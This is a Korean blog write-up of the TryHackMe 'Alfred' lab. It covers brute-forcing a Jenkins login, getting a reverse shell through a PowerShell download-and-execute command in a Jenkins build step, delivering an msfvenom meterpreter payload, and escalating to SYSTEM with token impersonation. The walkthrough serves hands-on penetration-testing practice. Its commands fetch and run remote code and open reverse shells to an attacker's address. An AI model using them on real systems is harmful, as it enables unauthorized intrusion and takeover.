System/침투

THM Offensive Pentesting - Alfred

병뚜 2023. 7. 18. 16:37

TASK 1 Initial Access

 

1. Jenkins 

포트번호 8080 접속, Jenkins 로그인 화면 확인

무차별대입으로 로그인

 

 

2. Execute shell

Jenkins는 빌드 시 특정 쉘 스크립트가 실행되도록 하는 기능이 있는 듯.

찾아보니까 project >  Build > Execute shell

 

THM 지시대로 command에 쉘 스크립트 작성

Invoke-PowerShellTcp.ps1는 여기에서 다운받을 수 있음.

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

# iex : 'Invoke-Expression'의 약어. 문자열로 표현된 명령어나 스크립트를 실행하는 데 사용됨
# Net.WebClient 객체를 생성하고, DownloadString 메서드를 사용하여 지정된 URL에서 PowerShell 스크립트의 내용을 다운로드하는 구문
# 다운받은 Invoke-PowerShellTcp.ps1 통해 리버스쉘

 

 

3. 로컬에서 서버 열기

python3 -m http.server 8889

 

 

4. nc 리스닝

nc -lvpn 4443

 

 

5. 빌드

 

6. 접근성공

플래그 획득 후, 해당 쉘은 종료하지 말자. TASK 2에서 사용된다.


 

TASK 2

 

1. msfvenom

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.10.252.125 LPORT=4444 -f exe -o shell.exe

당연하지만, TASK1과 다른 포트번호를 사용해야 한다. TASK1의 연결이 아직 살아있기 때문

 

 

2. Execute Shell

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.252.125:8889/shell.exe','shell.exe')"

 

 

3. build

 

 

4. msfconsole

use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.10.252.125 set LPORT 4444 run

 

 

5. shell.exe를 잘 가지고 왔는지 확인 후 실행

이후 shell.exe를 실행시키기 위해, TASK1에서 획득했던 쉘을 열어 확인한다.

shell.exe를 실행시켜주자. 그러면 메타스플로잇 콘솔 쪽에서 반응이 온다.

Start-Process "shell.exe"

 

 

5. meterpreter shell로 전환됨

 


 

TASK 3 Privilege Escalation

 

1. whoami /priv

meterpreter > shell

whoami /priv

활성화된 권한 중 SeDebugPrivilege, SeImpersonatePrivilege를 이용해서 권한을 상승시킬 것임.

*SeDebugPrivilege : 디버깅 특권으로, 프로세스의 디버깅 작업을 수행할 수 있는 권한을 제공

*SeImpersonatePrivilege: 다른 사용자의 권한으로 프로세스를 실행할 수 있는 권한을 제공

 

 

2. incognito

meterpreter > load incognito

meterpreter > list_tokens -g   # 사용 가능한 토큰 확인

 

 

3. impersonate

impersonate_token "BUILTIN\Administrators" 

# BUILTIN\Administrators 토큰으로 위장할 것

 NT AUTHORITY\SYSTEM 유저로 위장함

 

 

4. Migration

정상 프로세스로 마이그레이션

services.exe을 선택하는게 가장 안전하다고 함

→ 본인은 svchost.exe 로 마이그레이션 했음 

meterpreter > ps
# services.exe PID찾기

meterpreter > migrate {PID}

 

 

5. C:\Windows\System32\config 내 root.txt 확인

clear